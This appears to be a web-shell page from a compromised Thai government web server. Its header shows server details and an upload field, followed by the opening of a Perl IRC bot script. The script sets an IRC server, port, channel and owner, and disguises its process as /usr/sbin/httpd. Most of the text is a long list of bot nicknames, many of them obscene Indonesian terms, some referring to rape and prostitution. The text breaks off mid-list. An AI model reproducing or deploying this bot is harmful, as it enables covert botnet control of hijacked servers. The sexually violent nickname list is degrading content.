|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_integration/pathumthani_drug/images/stories/ |
Upload File : |
#!/usr/bin/perl
################################
my $server = $ARGV[0]; #
my $port="6667"; #
my $channel="#m3ksi"; #
my $owner= "m3ksi"; #
my $procname="/usr/sbin/httpd";#
################################
my @nickname = ("Barneson","Barnett","Barriola","Barry","Bartholomew","Bartolome","Bartoo","Basavappa","Bashevis","Batchelder","Baumiller","Bayles","Bayo",
"Beacon","Beal","Bean","Beckman","Beder","Bedford","Behenna","Belanger","Belaoussof","Belfer","Belin-Collart","Bellavanjahal","Bellhouse",
"Bellini","Belloc","Benedict-Dye","Bergson","Berke-Jenkins","Bernardo", "Bernassola","Bernston","Berrizbeitia","Betti","Beynart","Biagioli",
"Bickel","Binion","Bir","Bisema","Bisho","Blackbourn","Blackwell","Blagg","Blakemore","Blanke","Bliss","Blizard","Bloch","Bloembergen",
"Bloemhof","Bloxham","Blyth","Bolger","Bolick","Bollinger","Bologna","Boner","Bonham","Bonifajahal","Bontempo","Book","Bookbinder","Boone",
"Boorstin","Borack","Borden","Bossi","Bothman","Botosh","Boudin","Boudrot","Bourneuf","Bowers","Boxer","Boyajian","Boyes","Boyland",
"Boym","Boyne","Bracalente","Bradac","Bradach","Brecht","Breed","Brenan","Brennan","Brewer","Brewer","Bridgeman","Bridges","Brinton",
"Britz","Broca","Brook","Brzycki","Buchan","Budding","Bullard","Bunton","Burden","Burdzy","Burke","Burridge","Busetta","Byatt","Byerly",
"Byrd","Cage","Calnan","Cammelli","Cammilleri","Canley","Capanni","Caperton","Capocaccia","Capodilupo","Cappuccio","Capursi","Caratozzolo",
"Carayannopoulos","Carlin","Carlos","Carlyle","Carmichael","Caroti","Carper","Cartmill","Cascio","Case","Caspar","Castelda","Cavanagh",
"Cavell","jahalnijahalros","jahalrioli","Chapman","Charles","Cheang","Cherry","Chervinsky","Chiassino","Chien","Childress","Childs","Chinipardaz",
"Chinman","Christenson","Christian","Christiano","Christie","Christopher","Chu","Chupasko","Church","Ciampaglia","Cijahalro","Cifarelli",
"Claffey","Clancy","Clark","Clement","Clifton","Clow","Coblenz","Coito","Coldren","Colella","Collard","Collis","Compton","Compton",
"Comstock","Concino","Condodina","Connors","Corey","Cornish","Cosmides","Counter","Coutaux","Crawford","Crocker","Croshaw","Croxen",
"Croxton","Cui","Currier","Cutler","Cvek","Cyders","daSilva","Daldalian","Daly","D'Ambra","Danieli","Dante","Dapijahal","D'arcangelo","Das",
"Dasgupta","Daskalu","David","Dawkins","DeGennaro","DeLaPena","del'Enclos","deRousse","Debroff","Dees","Defeciani","Delattre","Deleon-Rendon",
"Delger","Dell'acqua","Deming","Dempster","Demusz","Denault","Denham","Denison","Desombre","Deutsch","D'fini","Dicks","Diefenbach","Difabio",
"Difronzo","Dilworth","Dionysius","Dirksen","Dockery","Doherty","Donahue","Donner","Doonan","Dore","Dorf","Dosi","Doty","Doug","Dowsland",
"Drinker","D'souza","Duffin","Durrett","Dussault","Dwyer","Eardley","Ebeling","Eckel","Edley","Edner","Edward","Eickenhorst","Eliasson",
"Elmendorf","Elmerick","Elvis","Encinas","Enyeart","Eppling","Erbach","Erdman","Erdos","Erez","Espinoza","Estes","Etter","Euripides",
"Everett","Fabbris","Fagan","Faioes","Falco-Acosta","Falorsi","Faris","Farone","Farren","Fasso'","Fates","Feigenbaum","Fejzo","Feldman",
"Fernald","Fernandes","Ferrante","Ferriell","Feuer","Fido","Field","Fink","Finkelstein","Finnegan","Fiorina","Fisk","Fitzmaurijahal","Flier",
"Flores","Folks","Forester","Fortes","Fortier","Fossey","Fossi","Francisco","Franklin-Kenea","Franz","Frazier-Davis","Freid","Freundlich",
"Fried","Friedland","Frisken","Frowiss","Fryberger","Frye","Fujii-Abe","Fuller","Furth","Fusaro","Gabrielli","Gaggiotti","Galeotti","Galwey",
"Gambini","Garfield","Garman","Garonna","Geller","Gemberling","Georgi","Gerrett","Ghorai","Gibbens","Gibson","Gilbert","Gili","Gill","Gillispie",
"Gist","Gleason","Glegg","Glendon","Goldfarb","Goncalves","Good","Goodearl","Goody","Gozzi","Gravell","Greenberg","Greenfeld","Griffiths",
"Grigoletto","Grummell","Gruner","Gruppe","Guenthart","Gunn","Guo","Ha","Haar","Hackman","Hackshaw","Haley","Halkias","Hallowell","Halpert",
"Hambarzumjan","Hamer","Hammerness","Hand","Hanssen","Harding","Hargraves","Harlow","Harrigan","Hartman","Hartmann","Hartnett","Harwell",
"Haviaras","Hawkes","Hayes","Haynes","Hazlewood","Heermans","Heft","Heiland","Hellman","Hellmiss","Helprin","Hemphill","Henery","Henrichs",
"Hernandez","Herrera","Hester","Heubert","Heyeck","Himmelfarb","Hind","Hirst","Hitchcock","Hoang","Hock","Hoffer","Hoffman","Hokanson","Hokoda",
"Holmes","Holoien","Holter","Holway","Holzman","Hooker","Hopkins","Horsley","Hoshida","Hostage","Hottle","Howard","Hoy","Huey","Huidekoper",
"Hungerford","Huntington","Hupp","Hurtubise","Hutchings","Hyde","Iaquinta","Ichikawa","Igarashi","Inamura","Inniss","Isaac","Isaievych","Isbill",
"Isserman","Iyer","Jajahalnko","Jackson","Jagers","Jagger","Jagoe","Jain","Jamil","Janjigian","Jarnagin","Jarrell","Jay","Jeffers","Jellis",
"Jenkins","Jespersen","Jewett","Johannesson","Johannsen","Johns","Jolly","Jorgensen","Jucks","Juliano","Julious","Kabbash","Kaboolian","Kafadar",
"Kalbfleisch","Kaligian","Kalil","Kalinowski","Kalman","Kamel","Kangis","Karpouzes","Kassower","Kasten","Kawachi","Kee","Keenan","Keepper",
"Keith","Kelker","Kelsey","Kempton","Kemsley","Kendall","Kerry","Keul","Khong","Kimmel","Kimmett","Kimura","Kindall","Kinsley","Kippenberger",
"Kirscht","Kittridge","Kleckner","Kleiman","Kleinfelder","Klemperer","Kling","Klinkenborg","Klint","Knuff","Kobrick","Koch","Kohn","Koivumaki",
"Kommer","Koniaris","Konrad","Kool","Korzybski","Kotter","Kovaks","Kraemer","Krailo","Krasney","Kraus","Kroemer","Krysiak","Kuenzli","Kumar",
"Kusman","Kuwabara","La","Labunka","Lafler","Laing","Lallemant","Landes","Lankes","Lantieri","Lanzit","Laserna","Lashley","Lawless","Lecar",
"Lecjahal","Leclercq","Leite","Lenard","Sofia","Lesser","Lessi","Liakos","Lidano","Liem","Light","Lightfoot","Lim","Linares","Linda","Linder",
"Line","Linehan","Linzee","Lippmann","Lipponen","Little","Litvak","Livernash","Livi","Livolsi","Lizardo","Locatelli","Longworth","Loss","Loveman",
"Lowenstein","Loza","Lubin","Lucas","Luciano","Luczkow","Luecke","Lunetta","Luoma","Lussier","Lutcavage","Luzader","Ma","Maccormac","Macdonald",
"Majahalachern","Macintyre","Mackenney","MacMillan","Macy","Madigan","Maggio","Mahony","Maier","Maine-Hershey","Maisano","Malatesta","Maller",
"Malova","Manalis","Mandel","Manganiello","Mantovan","March","Marchbanks","Marcus","Margalit","Margetts","Marques","Martinez","Martochio",
"Marton","Marubini","Mass","Matalka","Matarazzo","Matsukata","Mattson","Mauzy","May","Mazzali","Mazziotta","Mcbride","Mccaffery","Mccall",
"Mcclearn","Mcdowell","Mjahallroy","McFadden","Mcghee","Mcgoldrick","McIlroy","Mcintosh","Mcdonald","Mclane","Mclaren","Mcnealy","Mcnulty",
"Meccariello","Memisoglu","Menzies","Merikoski","Merlani","Merminod","Merseth","Merz","Metelka","Metropolis","Meurer","Michelman","Middle",
"Mieher","Mills","Minh","Mini","Minichiello","Gonzalez","Mitropoulos","Mittal","Mocroft","Modestino","Moeller","Mohr","Moiamedi","Monque","Montilio",
"MooreDeCh.","Morani","Moreton","Morrison","Morrow","Mortimer","Mosher","Mosler","Mostafavi","Motooka","Mudarri","Muello","Mugnai","Mulkern",
"Mulroy","Mumford","Mussachio","Naddeo","Napolijahalo","Nardi","Nardone","Naviaux","Nayduch","Nelson","Nenna","Nesci","Neuman","Newfeld","Newlin",
"Ng","Ni","Nickerson","Nickoloff","Nisenson","Nitabach","Notman","Nuzum","Ocougne","Ogata","Oh","O'hagan","Oldford","Olsen","Olson","Olszewski",
"O'malley","Oman","O'meara","Opel","Oray","Orfield","Orsi","Ospina","Ostrowski","Ottaviani","Otten","Ouchida","Ovid","PaesDealmeida","Paine",
"Palayoor","Palepu","Pallara","Palmitesta","Panadero","Panizzon","Pantilla","Paoletti","Parmeggiani","Parris","Partridge","Pascucci","Patefield",
"Patrick","Pattullo","Pavetti","Pavlon","Pawloski","Paynter","Peabody","Pearlberg","Pederson","Peishel","Penny","Pereira","Perko","Perlak",
"Perlman","Perna","Perone","Perrimon","Peters","Petruzello","Pettibone","Pettit","Pfister","Pilbeam","Pinot","Plancon","Plant","Plasket","Plous",
"Po","Pocobene","Poincaire","Pointer","Poirier","Polak","Polanyi","Politis","Poma","Poolman","Powers","Presper","Preujahall","Prevost","Pritchard",
"Pritz","Proietti","Prothrow-Stith","Puccia","Pugh","Pynchon","Quaday","Quetin","Rabe","Rabkin","Radeke","Rajagopalan","Raney","Rangan","Rankin",
"Rapple","Rayport","Redden-Tyler","Reedquist","Cunningham","Reinold","Remak","Renick","Repetto","Resnik","Rhea","Richmond","Rielly","Rjahals",
"Rineer","Rish","Rivera","Robinson","Rocha","Roesler","Rogers","Ronen","Row","Royal","Ru","Ruan","Ruderman","Ruescher","Rush","Ryu","Sabatello",
"Sadler","Safire","Sahu","Sali","Samson","Sanchez-Ramirez","Sanna","Sapers","Sarin","Sartore","Sase","Satin","Satta","Satterthwaite","Sawtell",
"Sayied","Scarponi","Sjahalpan","Scharf","Scharlemann","Scheiner","Schiano","Schifini","Schilling","Schmitt","Schossberger","Schuman","Schutte",
"Schuyler","Schwan","Schwickrath","Scovel","Scudder","Seaton","Seeber","Segal","Sekler","Selvage","Sen","Sennett","Seterdahl","Sexton",
"Seyfert","Shaikh","Shakis","Shankland","Shanley","Shar","Shatrov","Shavelson","Shea","Sheats","Shepherd","Sheppard","Shepstone","Shesko","Shia",
"Shibata","Shimon","Siesto","Sigalot","Sigini","Signa","Silverman","Silvetti","Sinsabaugh","Sirilli","Sites","Skane","Skerry","Skoda","Sloan",
"Slowe","Smilow","Sniffen","Snodgrass","Socolow","Solon","Somers","Sommariva","Sorabella","Sorg","Sottak","Soukup","Soule","Souljahalian","Spanier",
"Sparrow","Spaulding","Speizer","Spenjahal","Sperber","Spijahalr","Spiegelhalter","Spiliotis","Spinrad","StMartin","Stalvey","Stam","Sjahalg","Stassinopolus",
"States","Statlender","Stefani","Steiner","Stephanian","Stepniewska","Stewart-Oaten","Stiepock","Stillwell","Stock","Stockton","Stockwell","Stolzenberg",
"Stonich","Storer","Stott","Strange","Strauch","Streiff","Stringer","Sullivan","Sumner","Suo","Surdam","Sweeting","Sweetser","Swindle","Tagiuri",
"Tai","Talaugon","Tambiah","jahaldler","jahalowitz","Tatar","Taveras","Tawn","Tcherepnin","Teague","Temes","Temmer","Tenney","Terracini","Than",
"Thavaneswaran","Theodos","Thibault","Thisted","Thomsen","Throop","Tierney","Till","Timmons","Tofallis","Tollestrup","Tolls","Tolman","Tomford",
"Toomer","Topulos","Torresi","Torske","Towler","Toye","Traebert","Trenga","Trewin","Tringali","Troiani","Troy","Truss","Tsiatis","Tsomides","Tsukurov",
"Tuck","Tudge","Tukan","Turano","Turek","Tuttle","Twells","Tzamarias","Ullman","Untermeyer","Upsdell","Urban","Urdang-Brown","Usdan","Uzuner",
"Vacca","Waite","Valberg","Valencia","Wales","Wallenberg","Walter","vanAllen","VanZwet","Vandenberg","Vanheeckeren","Warshafsky","Wasowska","Vasquez",
"Waugh","Weighart","Weingarten","Weinhaus","Weissbourd","Weissman","Velasquez","Welles","Welsh","Wengret","Venne","Verghese","Wescott","Wetzel",
"Whately","Whilton","White","Whitla","Whittaker","Viana","Viano","Wiedersheim","Wiener","Viens","Vignola","Wilder","Wilhelm","Wilk","Wilkin","Wilkinson",
"Villarreal","Willstatter","Wilson","Vitali","Viviani","Voigt","Wolk","VonHoffman","Woo","Wooden","Woods","Woods-Powell","Vorhaus","Votey","Yacono",
"Yamane","Yankee","Yarchuk","Yates","Ybarra","Yedidia","Yesson","Yetiv","Yoffe","Yoo","Youk-See","Yu","Zachary","Zahedi","Zangwill","Zegans","Zerbini",
"Zoldak","Zucconi","Zurn","Zwiers","semox-bgt","genit_bgt","ps_tambah_k","jual_tubuh","jual_daging","jual_gituan","rasa_nikmat",
"lezat","nikmattt","see_my_xxx","lage_xxx","sk_digigit","pngen_diintip","sk_ngintip","mulus_seksi","putih_seksi",
"seksi_mentek","seksi_bgt","imoet_seksi","semalam200rb","1jam300rb","pake_stoking","pake_daster","pake_jahaltop",
"brewok","kissMe","tusuk_me","mw_dixXx","kuning_sexy","cantix_semock","semock_mulus","lg_majahalg","lg_meteng",
"buntingin_gw","pngen_bunting","jago_beranak","jago_xXx","fans_miyabi","model_bikini","sk_hardCore","ganjenk",
"semox-bgt","genit_bgt","ps_tambah_k","jual_tubuh","jual_daging","jual_gituan","rasa_nikmat","lezat","nikmattt",
"see_my_xxx","lage_xxx","sk_digigit","pngen_diintip","sk_ngintip","mulus_seksi","putih_seksi","seksi_mentek",
"seksi_bgt","imoet_seksi","semalam200rb","1jam300rb","pake_stoking","pake_daster","pake_jahaltop","brewok",
"kissMe","tusuk_me","mw_dixXx","kuning_sexy","cantix_semock","semock_mulus","lg_majahalg","lg_meteng","buntingin_gw",
"pngen_bunting","jago_beranak","jago_xXx","fans_miyabi","model_bikini","sk_hardCore","ganjenk","semox-bgt","genit_bgt",
"ps_tambah_k","jual_tubuh","jual_daging","jual_gituan","rasa_nikmat","lezat","nikmattt","see_my_xxx","lage_xxx","sk_digigit",
"pngen_diintip","sk_ngintip","mulus_seksi","putih_seksi","seksi_mentek","seksi_bgt","imoet_seksi","semalam200rb","1jam300rb",
"pake_stoking","pake_daster","pake_jahaltop","brewok","kissMe","tusuk_me","mw_dixXx","kuning_sexy","cantix_semock","semock_mulus",
"lg_majahalg","lg_meteng","buntingin_gw","pngen_bunting","jago_beranak","jago_xXx","fans_miyabi","model_bikini","sk_hardCore","ganjenk",
"noni_semox-bgt","noni_genit_bgt","noni_ps_tambah_k","noni_jual_tubuh","noni_jual_daging","noni_jual_gituan","noni_rasa_nikmat","noni_lezat","noni_nikmattt","noni_see_my_xxx",
"noni_lage_xxx","noni_sk_digigit","noni_pngen_diintip","noni_sk_ngintip","noni_mulus_seksi","noni_putih_seksi","noni_seksi_mentek","noni_seksi_bgt","noni_imoet_seksi",
"noni_semalam200rb","noni_1jam300rb","noni_pake_stoking","noni_pake_daster","noni_pake_jahaltop","noni_brewok","noni_kissMe","noni_tusuk_me","noni_mw_dixXx","noni_kuning_sexy",
"noni_cantix_semock","noni_semock_mulus","noni_lg_majahalg","noni_lg_meteng","noni_buntingin_gw","noni_pngen_bunting","noni_jago_beranak","noni_jago_xXx","noni_fans_miyabi",
"noni_model_bikini","noni_sk_hardCore","noni_ganjenk","semox-bgt","genit_bgt","ps_tambah_k","jual_tubuh","jual_daging","jual_gituan",
"rasa_nikmat","lezat","nikmattt","see_my_xxx","lage_xxx","sk_digigit","pngen_diintip","sk_ngintip","mulus_seksi",
"putih_seksi","seksi_mentek","seksi_bgt","imoet_seksi","semalam200rb","1jam300rb","pake_stoking","pake_daster","pake_jahaltop",
"brewok","kissMe","tusuk_me","mw_dixXx","kuning_sexy","cantix_semock","semock_mulus","lg_majahalg","lg_meteng",
"buntingin_gw","pngen_bunting","jago_beranak","jago_xXx","fans_miyabi","model_bikini","sk_hardCore","ganjenk","biasa_ja_YM",
"lg_YM","ol_YM","online_YM","ol_YM","online_YM","dJombLow","niezt","kerens","cantieks","setia-sedunia","sby_setia","mnizzzz_bgt",
"setia_cr_cow","super_setia","manis_fs","pengen_punya_jahal","setia-bgt","jelek_setia","jelek-bgt","jlk_tp_setia","cr_serius","biasa_setia",
"setiaaaa","paling_maniz","setia_bgtttt","jojoba","jomblo_cr_cow","perayu_cow","perayu_cow","perayu_cow","noni_mulus_cantiq","mulus_cantiq","mulus_cantiq",
"mulus_cantiq","noni_mulus_butuhhh","mulus_butuhhh","mulus_butuhhh","mulus_butuhhh","noni_mw_dibayarr","mw_dibayarr","mw_dibayarr","mw_dibayarr","noni_butuh-bgt",
"butuh-bgt","butuh-bgt","butuh-bgt","noni_cr_pemuassss","cr_pemuassss","cr_pemuassss","cr_pemuassss","cr_perjaka","noni_cr_perjaka","cr_perjaka","cr_perjaka",
"penidur","noni_minta_diperkosa","minta_diperkosa","minta_diperkosa","minta_diperkosa","","ga-pake_CD","ga-pake_CD","ga-pake_CD","","","",
"ga-pake_bra","ga-pake_bra","ga-pake_bra","bra_pink","cd_pink","cd_pink","nungging","kenikmajahalnn","cr_gituann","pengen_digituin","butuhhh",
"ga_kuat","panas_bgt","lg_pengen","lage_hot","demen_gituan","pemerkosa","pengen_gituan","mw_gituan","pengen_gituan","sk_gituan","sk_bokep",
"bokep","bokepers","site_bokep","bayar_murah","suka_om2","butuh_pemuas","butuh_pemerkosa","cr_pemerkosa","betah_diperkosa","kuat_di-ranjang","kuat_bngt",
"mase_kuat","pelampiasan","cr_pelampiasan","pemerkosa_cow","pengen_nikmat","cr_nikmat","","jual_itu","di-jual","murahan","murahan-bgt",
"cr_palanggan","psk_asyik","jagir","jarak","kalimajahal","cr_kenikmajahal","pembawa_nikmat","pemerkosa","mw_dinaikin","lg_pengen","lg_dapet",
"nakal_pengen","nakal-bgt","cantik_nakal","mulus_binal","putih_mulus","pengen_dianu","anunya_mungil","itunya-kecil","ga_pake_cd",
"","cr_pemuassss","cr_pemerkosa","bikin_anak","kupu2malam","jahalek_kupu2malam","kupu2malam","kupu2malam","mw_di-anu","mw_diraba","mw_digituin",
"pengen_digituin","pengen_nikmat","kenikmasesaat","cr_kenikmajahal","cr_om2","mw_ama_om2","mw_dipesan","mw_dibayar","cr_gratisan","pengen_anu_cow",
"lg_pengen","pengen_dielus","itunya_merah","cr_kesenangan","mulus_cr_cow","mulus_bgt","putih_mulus","cari_nikmat","cari_nikmat","cr_nikmat","cr_nikmat",
"pngn_buang_virgin","pngn_dihajar","meranjang","meranjang","free4fun","free4fun","penghibur_cow","penghibur_cow","pngn_main_belakang","pngn_main_belakang",
"pengen_nungging","pengen_nungging","mw_main_kasar","mw_main_kasar","pngn_dinikmati","penjinak_cow","pengen_semalam","main_isi_pulsa","mw_diperkosa","pngen_gituan",
"cr_kesenangan","pemuas_buaya","pengen_jatah","minta_jatah","pengen_dipuasin","mw_dipuasin","pemuja_cow","mw_gituan","pengen_gituan","sk_meranjang","sk_ngemut",
"sexy-bgt","bokepers","sk_burung","pemuas","butuh_cow","rela_diperkosa","pengen_di_isep","ga_pakeCD","telanjang","maniax","cutexx","starone","sakit",
"semrawut","korax","sumringah","kegelapan","pujangga","emperor","mutiara","ratu","srigala","jadi_jadian","korek_api","mulijahal","dewaza","cafein",
"kopi_maniz","kulus","dramatix","tragis","kenangan","berbunga2","seal","modeling","sk_gelap","nescafee","cakep-bgt","cantix_kul","pemuassss",
"cari_gituan","cari_tugas","jahalria","17cute","cleopatra","cntix_kul","CR_CR","cr_hacker","cr_web_desain","cuanteeeeek","cuet_cuet","cute_cr_temen",
"cutez","desain","dunia_maya","Dwss_bgt","Fitri_FS","fS_nARziEsss","mo_gajian","gembredek","genit_bgt","gi_anu_anu","gi_sibuk","hackers","ideal",
"ImoetzzzZ","imoot","imootez","ImUtZzZz","imyuth","informatika","jutek_bgt","kerens_fs","kerj_di_internet","lg_kesepian","komputeris","korea","kul_Cantix",
"kuliah_ITS","lebay_euy","linux_user","lynx","maniees","maniezt_girl","mAnIiEezzZ_jOmBlO","matre","moesliem","ngeblog","nightmare","nizzz","nulis_web",
"patah_ht","penulis","perompak","pinter_banget","pirate","product","punya_blog","punya_web","punya_website","re2","riZa_efEZt","SAKURA_nizz","kebobolan",
"site_modeling","smart_plus_maniezz","suka_anime","SWEETY","pinter_muasin","putih_mulus","mulussss","cri_perangsang","pengen_gituannn","smk_it","Pemangsa_Sby",
"demen_gituan","anggun","sk_bikin_anak","bikini_bgt","engen_lontong","crI_tMn_bAEk","CutE","dispro","informatika","jomblo_nizz","sk_bgt",
"anunya_mulus","cr_selingkuhan","teknik_industri","dias_fs","jahalek_belajar_web","jahalek_demen_naruto","jahalek_hongkong","jahalek_inisial_N","jahalek_japan_anime","jahalek_kerj_internet",
"jahalek_koleksi_movie","jahalek_lg_butuh_itu","jahalek_olaraga_kelamiiin","jahalek_pinter","jahalek_itunya_mulus","itunya_putih","korea_cakep","jahalk_dJombLow","jahalk_niezt","jahal3k_t0mb0y","kerens",
"mursals","brandals","solo_lo","ria","cicak","spiderman","mulus_gi_pengen","buaya","kuliah_wk","kul_unesa","putih_nizz","gitaris","sep_bgt","mantapp",
"mo_pingsan","pengen_mati","ngerjain_tugas","seles_nokia","lamru","jav_model","av_model","model_bokep","model_jav","model_av","model_av","maria_ozawa","model_hot",
"hot_model","model_mulus","ajak_kencan","kencan_semalam","making_love","pemijat","pijat_nikmat","tahan_lama","kuat_digilir","nakal_pengen","cr_nikmattt","cr_kesenangan",
"cr_om2_genit","eka_mulusss","mupeng_berat","mupeng_banget","tetek_gedee","nenen","bokepers","artis_bokep","sk_bokep","binjahalg_bokep","sk_om2","mau_ma_om2",
"pengen_ma_om2","jalan_ma_om2","rok_mini","rok_pendek","rok_minim","ga_pake_rok","pake_stoking","paha_mulus","da2_mulus","da2_gede","da2_imut","jual_itu","jual_nikmat",
"jual_jasa","jalanan","bad","item_maniez","putih_maniez","kuning_maniez","item_mulus","kuning_mulus","berbulu","berbulu_pengen","lg_pengennnn","main_keras",
"maen_ganas","amature","hard-Core","mulus_jav","av-model","gunung_gede","gunung_mulus","lubang_buaya","kupu2-malam","paha_mulusss","selangkangan_gatal","korea_cr_cow",
"bertato","main_free","main_ps","pengen_ps","penyewaan_jasa","pembunuh_cow","buaya_laut","lubang_buaya","cr_buaya","DiTiduriBuaya","pemuas_lelaki","pemuas_cow",
"pemuas_buaya","pemuas_om2","pemuas_pejanjahal","cr-pejanjahal","mw_ama_pejanjahal","cr_mr-P","demen_mr-P","butuh_mr-P","sk_mr-P","ga_virgin","hilang_virgin","virgine_unlimited",
"emut_mr-P","perokok_jahallat","tumbuh_rambut","tumbuh_gunung","tumbuh_itunya","mw_em-el","bs_hub-intim","mw-hub-intim","pengen_hub-intim","pengen_intim","horrneeey","gatal-itunya",
"pemerkosa_om2","pemerkosa_perjaka","pemerkosa_jejaka","pemerkosa_cow","lessby","lezzz","cantix_less","less_mulus","biseeeks","kuat_dikeroyok","pgen_dikeroyok",
"dikeroyok_cow","itunya-gede","itunya-gatal","itunya-imoet","itunya-mulus","model_japan","model_maniz","model_anime","haruna-sakura","model-miyabi","kalahin-miyabi","panas_pengen",
"pengen_hot","borack","ketagihan_cow","ketagihan_pisang","pengen_pisang","pake_bra_ketat","bispak-bgt","mw_nungging","snungging","sdogi","boxer","ssamping",
"pakar_bercinta","mahir_bercinta","pngen_bercinta","mw_bercinta","mau_bercinta","jahal2","jahal2-btuh","jahal2_cr","jahal2_pengen","jahal2_cr_cow","free_ml","free_bokep",
"dugem_asyik","ratu_dugem","mw_dugem","pngen_dugem","lg_dugem","lg_mabok","cd_pink","cd_merah","cd_ijo","cd_putih","cd_transparan","cd_item","cd_biru","pemusnah_massal",
"pmusnah_cow","free_video","free_gituan","mw_gituan-free","pngen-jahalk-in","mw_jahalk-in","dadamulus","da2Mulus","bra_putih","poto_model","mw-date","dapijahal","mira","robi",
"tati","tutik","tutik","mira","vitaa","eny","iin","eka","sari","linda","pipit","santi","eva","fany","ely","melly","ester","putri","po3","ella",
"rosi","inem","tatik","sthevani","dicks","dinodai","ratih","ajenk","ajeng","diah","dyah","marsya","cantixx","cantika","anggi","angelina","indah","permata","dian",
"pamela","herlina","lina","nanda","ananda","adel","adult","adult_model","adult","japan_adult","sby_adult","adult","modeling_adult","noni_cina_cuantik","noni_ckp_bngt",
"noni_cr_ttm","noni_CuNi3z_Fs","noni_cut3","noni_CuTe_SmA","noni_cUtEz","noni_gokiiilllll_lucu","noni_less_mutz","noni_zkull_ztar_one","noni-CANTIK-ADUHAI","jahal3x_chn","1c4gals","b4w3l","CHNZZZ_smg","im03t_brajahalg","j0m8L0","jut3x",
"macan_imutz","matre","SWEETY","Me2_CakeP","19_JOMBLO","17_JOMBLO","18_JOMBLO","20_JOMBLO","21_JOMBLO'","22_JOMBLO","JOMBLO","jahalktop","berdaster","daster","CANTIKX",
"mu4niiIIeEezZZ","kerenzzs","phones3x","show_CaM","ajaib_ok","aJaH_dEcH","aJIP","anggun","apa_adanya","army","aSiK_aJaH","asyik_girl","ayu","b4n9et","baEk_cr","BaEk_cuTeZ_fs",
"bahenol","barusan_jomblo","bibir_mungil","beautiful_girls","beauty","bebas_pa_ja","benci_dunia","bikin_gemes","binal","Bispak_Gratis","bRokEnheArt","bsa_maen_musik","bth_duit","bugil",
"BuGil_SeNdiRian","Bule-cr-knln","butuh_cairan","ByRAn_nOw","c4-NtIk_cUTe","cAEm_yUhuu","cakep-cr-pcr","cantikgirl","cANtIqUe","capi_fs","cARi_cO_cAkEp","cari_cowo_chns","cari_doktermuda","cari_pacar",
"CaRi_TemeN_BoBo","chinese","chn_hot","chn_jomblo","Chnz_Lezz","Chnz_OK","cimpoek","cinderella","cleopatra","CLuBbYnG","cntiq_mau_PS","cntix_kul","cRi","cute_n_cantiq","dada_kecil","dah_basah_neh",
"dah_basah","Devi","dijamin","doyan_kehotel","dws_Maniz","eviana","FiTa","fitri","full","fun_dancluber","ge_pngen","happy","keyrenz","kos_dinodai","kos_butuh","kos_pengen","kosan_bth",
"kosan_sndiri","Lesbi","lesby_horny","LG_KSEPIAN","LuOcU","m0_Lepas_KepeRawanan","ma0_mERasaKan_ML","manda_maniez","Maniax_sek","mauML","marsha","mo_dinodai_2x","MoNTok","montox","mungil",
"mUpEng","nWarzIZ_CR","nafsu_gede","nakal_bgtz","ngebet","nongkronk","pLing_imUth","pnggin","puengen_bgt","ratu_buaya","sedang_cr_cinta","seksi","susu_montok","swe3t_cr_co","tuLen","jahal-17-model",
"8u61L_HoT","bth_kehangajahal","dhiajenk","herrera","hester","heubert","heyeck","himmelfarb","hind","hirst","hitchcock","hoang","hock","dramatix","ga_sk_fs","GiLa_hEpOtEsA",
"horny_nie","jmbLo_sBy_imutzZ","LopHE_mUtZz","modeling","jahalek_Suka_ga_pake","nia","sexyss","lawless","lecar","lecjahal","leclercq","leite","lenard","sofia","lesser","lessi","liakos",
"lidano","liem","pelit","politis","rivera","row","royal","ru","sexton","stock-terbatas","sumer","tuttle","bikini_mulus","bikini_model","valencia","vanZwet","venne","white",
"viana","viens","villarreal","cr_mrP","vital","viviani","me2_imoet","nakal","butuh_pisanggg","butuh_gituan","jahale_butuh_gituan","biasa_ja_YM","lg_YM","ol_YM","online_YM","ol_YM",
"online_YM","dJombLow","niezt","kerens","cantieks","setia-sedunia","sby_setia","mnizzzz_bgt","setia_cr_cow","super_setia","manis_fs","pengen_punya_jahal","setia-bgt","jelek_setia",
"jelek-bgt","jlk_tp_setia","cr_serius","biasa_setia","setiaaaa","paling_maniz","setia_bgtttt","jojoba","jomblo_cr_cow","noni_perayu_cow","perayu_cow","perayu_cow","mulus_cantiq","noni_mulus_cantiq",
"mulus_cantiq","mulus_cantiq","mulus_butuhhh","noni_mulus_butuhhh","mulus_butuhhh","mulus_butuhhh","mw_dibayarr","mw_dibayarr","noni_mw_dibayarr","mw_dibayarr","butuh-bgt","noni_butuh-bgt","butuh-bgt",
"butuh-bgt","cr_pemuassss","noni_cr_pemuassss","cr_pemuassss","cr_pemuassss","noni_cr_perjaka","cr_perjaka","cr_perjaka","cr_perjaka","","minta_diperkosa","noni_minta_diperkosa","minta_diperkosa",
"minta_diperkosa","","ga-pake_CD","noni_ga-pake_CD","ga-pake_CD","","","","noni_ga-pake_bra","ga-pake_bra","ga-pake_bra","bra_pink","cd_pink","noni_cd_pink","noni_nungging","noni_kenikmajahalnn",
"noni_cr_gituann","noni_pengen_digituin","noni_butuhhh","ga_kuat","noni_panas_bgt","noni_lg_pengen","noni_lage_hot","noni_demen_gituan","noni_pemerkosa","noni_pengen_gituan","noni_mw_gituan","pengen_gituan","sk_gituan","sk_bokep",
"bokep","bokepers","site_bokep","bayar_murah","suka_om2","butuh_pemuas","butuh_pemerkosa","cr_pemerkosa","betah_diperkosa","kuat_di-ranjang","kuat_bngt","mase_kuat","pelampiasan",
"cr_pelampiasan","pemerkosa_cow","pengen_nikmat","cr_nikmat","","jual_itu","di-jual","murahan","murahan-bgt","cr_palanggan","psk_asyik","jagir","jarak","kalimajahal","cr_kenikmajahal",
"pembawa_nikmat","pemerkosa","mw_dinaikin","lg_pengen","lg_dapet","nakal_pengen","nakal-bgt","cantik_nakal","mulus_binal","putih_mulus","pengen_dianu","anunya_mungil","itunya-kecil",
"ga_pake_cd","","cr_pemuassss","cr_pemerkosa","bikin_anak","kupu2malam","jahalek_kupu2malam","kupu2malam","kupu2malam","mw_di-anu","mw_diraba","mw_digituin","pengen_digituin","pengen_nikmat",
"kenikmasesaat","cr_kenikmajahal","cr_om2","mw_ama_om2","mw_dipesan","mw_dibayar","cr_gratisan","pengen_anu_cow","lg_pengen","pengen_dielus","itunya_merah","cr_kesenangan","mulus_cr_cow",
